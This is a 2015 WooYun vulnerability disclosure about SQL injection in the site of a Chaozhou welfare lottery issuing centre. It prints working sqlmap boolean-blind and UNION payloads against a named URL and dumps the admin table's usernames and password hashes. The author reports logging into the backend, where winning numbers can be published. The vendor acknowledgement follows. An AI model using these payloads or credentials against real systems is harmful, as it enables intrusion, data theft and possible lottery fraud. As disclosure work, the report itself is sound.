当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103532

漏洞标题：广东省某市福利彩票发行中心存在SQL注入漏洞(已入后台可后台发布中奖号码)

相关厂商：广东省信息安全测评中心

漏洞作者： Yang

提交时间：2015-03-26 11:40

修复时间：2015-05-10 13:58

公开时间：2015-05-10 13:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-26： 细节已通知厂商并且等待厂商处理中
2015-03-26： 厂商已经确认，细节仅向厂商公开
2015-04-05： 细节向核心白帽子及相关领域专家公开
2015-04-15： 细节向普通白帽子公开
2015-04-25： 细节向实习白帽子公开
2015-05-10： 细节向公众公开

简要描述：

某市福利彩票发行中心存在漏洞，可后台发布中奖号码，我是不是可以成千万富翁？

详细说明：

漏洞位于潮州市福利彩票发行中心
http://www.czfc.org.cn/txxw_contact.asp?ProductID=2198
属于事业单位呦

1.png


连接存在注入：
导致可进入后台发布中奖号码和信息

---
Parameter: ProductID (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ProductID=2198 AND 4045=4045
    Type: UNION query
    Title: Generic UNION query (NULL) - 16 columns
    Payload: ProductID=-6123 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(107)&CHR(120)&CHR(122)&CHR(113)&CHR(107)&CHR(67)&CHR(107)&CHR(104)&CHR(71)&CHR(77)&CHR(110)&CHR(88)&CHR(69)&CHR(85)&CHR(113)&CHR(120)&CHR(122)&CHR(107)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| admin |
| news  |
| type  |
+-------+


漏洞证明：


admin表内容

data	admin	password
<blank>	king	7a57a5a743894a0e
<blank>	<blank>	3d1c19584195d69e
<blank>	sjp	7a57a5a743894a0e
<blank>	gNOiW\x06	7020c0af156c83be
<blank>	<blank>	3b3382cc13dfa2e1
<blank>	<blank>	3b3382cc13dfa2e1
<blank>	<blank>	3b3382cc13dfa2e1
<blank>	_\\?90s\\?89n\\?aa	3b3382cc13dfa2e1
<blank>	auto	8151fc7cadea033a
<blank>	a1	8151fc7cadea033a
<blank>	a2	8151fc7cadea033a
<blank>	a3	8151fc7cadea033a
<blank>	a4	8151fc7cadea033a
<blank>	a5	8151fc7cadea033a
<blank>	<blank>	49ba59abbe56e057
<blank>	s\\?8bfS^\x06	c831b04de153469d
<blank>	g\\?97	57cb69c1f5f59e5e


部分中文没显示
选择了king账号进入后台：

1.png


以前中奖信息

QQ截图20141206204701.png


可发布中奖信息：

1.png


1.png


知道了开奖号码，那我拿我一个月工资一千块去购买这个号码。。能成千万富翁不

修复方案：

过滤

版权声明：转载请注明来源 Yang@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-03-26 13:57

厂商回复：

非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据：中
攻击成本：低
造成影响：中
综合评级为：中，rank：8
正在联系相关网站管理单位处置。

最新状态：

暂无